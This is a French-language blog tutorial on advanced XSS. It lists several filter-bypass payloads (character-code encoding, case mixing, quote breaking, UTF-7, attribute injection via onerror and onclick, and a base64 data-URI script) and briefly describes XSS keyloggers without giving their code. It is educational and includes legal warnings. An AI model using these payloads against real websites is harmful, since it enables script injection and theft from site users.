Nous avons vu dans un article précédent ce qu’était la faille XSS et comment s’en prémunir.
Cette faille est l’une des plus populaires et en même temps l’une des plusdangereuses.
Des failles XSS sont régulièrement trouvées dans les plus gros sites web tels queGoogle, Facebook, EA Games (pour eux visiblement ce n’est pas leur préoccupation
)…etc.
L’attaque, je ne vais pas me répéter, consiste à exécuter du code HTML sur un site web à partir d’une URL ou d’un champ texte par exemple.
Exécuter du code HTML sur un site revient à le modifier à notre propre façon, à récupérer des informations, à vrai dire tout ce qui est faisable en HTML est faisablevia la faille XSS.
Le code HTML est tout simplement envoyé dans un champ texte, par exemple :
<script>alert('faille XSS');</script>
suffit à détecter une faille.
L’attaque est donc très facile à mettre en place.
Alors habituellement, les sites échappent quand même les guillemets à l’aide de filtres. Le code devient :
<script>alert(>faille XSS<);</script>
Cela semble résoudre le problème, en réalité il n’en est rien car il est possible de convertir directement les nombres ascii en caractères, ce qui permet de passeroutre ce filtre :
<script>alert(String.fromCharCode(88,83,83))</script>
affichera toujours l’alerte « XSS » , sans avoir besoin de guillemets !
Les filtres sont souvent fragiles, il est facile de passer outre avec des combinaisons différentes du type :
"><script>alert(String.fromCharCode(88,83,83))</script>
'><script>alert("XSS")</script>
'><script>alert(String.fromCharCode(88,83,83))</script>
<ScRIPt>aLeRT("XSS")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
"><ScRIPt>aLeRT("XSS")</ScRIPt>
";alert(String.fromCharCode(88,83,83));"
';alert("XSS");'
';alert(String.fromCharCode(88,83,83));'
";alert("XSS")
et j’en passe.
Les changements de casse dans la balise script permettent de passer outre les fonctions du type : str_replace(‘<script>’, null, $_GET['nom']);
Je rappelle quand même que toutes ces attaques fructueuses ou non contre un site qui ne vous a pas donné un accord préalable est passible de poursuites et d’unegrosse amende, référez-vous au disclaimer.
Méthodes XSS avancées
Lorsque vous suivez des cours de PHP et JavaScript, vous n’apprenez pas toujours automatiquement à vous servir des deux fameuses fonctionshtmlspecialchars() et htmlentities() qui permettent de convertir les caractères HTML afin de ne pas les faire exécuter. (Et c’est bien dommage)
On pouvait (on peut sûrement encore avec des versions anciennes d’Internet Explorer) passer outre ces fonctions. Notamment htmlentities() en passant l’encodage en UTF-7 :
<?php
header('Content-Type: text/html; charset=UTF-7');
$string = "<script>alert('XSS');</script>";
$string = mb_convert_encoding($string, 'UTF-7');
echo htmlentities($string);
?>
On peut aussi défaire la fonction htmlentities() lorsqu’elle est est entourée de double quotes, comme :
<?
echo "<img src='".htmlentities($_GET['img'])."'/>";
?>
à l’aide d’une technique rusée du type :
img=.' onerror='alert("XSS")
Enfin, une méthode peu connue permettant de passer outre htmlspecialchars()consiste à utiliser les URI utilisées pour garder un affichage des images sous format HTML.
Par exemple :
http://site.fr/page.php?img=data:image/gif;base64,T0lDFRlhPQABAUDDDP7//wAAATH5BAAAAAAAMAAAAAABAAEAAAIORAEAPw==
avec pour code php :
echo '<object data="'.htmlspecialchars($_GET['img']).'"></object>';
Il nous suffit de changer le type de données :
http://site.fr/page.php?img=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=
À noter aussi qu’il est très imprudent de ne pas utiliser les quotes dans vos codes sources, par exemple :
<input type=text name=nom id=id/>
car si un utilisateur prend comme pseudo :
michel onclick="alert('XSS')"
On aura tout simplement le code final suivant :
<input type=text name=nom id=id value=michel onclick="alert('XSS')"
Dernière note puisque je suis inspiré, il est possible de créer des keyloggers XSS complets, on insérant un code JavaScript de keylogger sur les pages en question.
Le résultat : tout ce que les internautes tapent sur un site donné est enregistré ! L’utilisation est similaire à celle du voleur de cookies vu dans l’article précédent.
Pour cela on va là encore être malin et utiliser un mix de document.onkeypress,window.event.keyCode et le lien vers un fichier php. Mais non je n’en dirai pas plus 
Si vous souhaitez pratiquer tout cela légalement, faites-le sur votre propre site, ou sur des sites qui autorisent cela. Sachez que Google et Facebook, pour ne prendre qu’eux, rémunèrent les hackers qui trouvent des failles.
0 commentaires:
Enregistrer un commentaire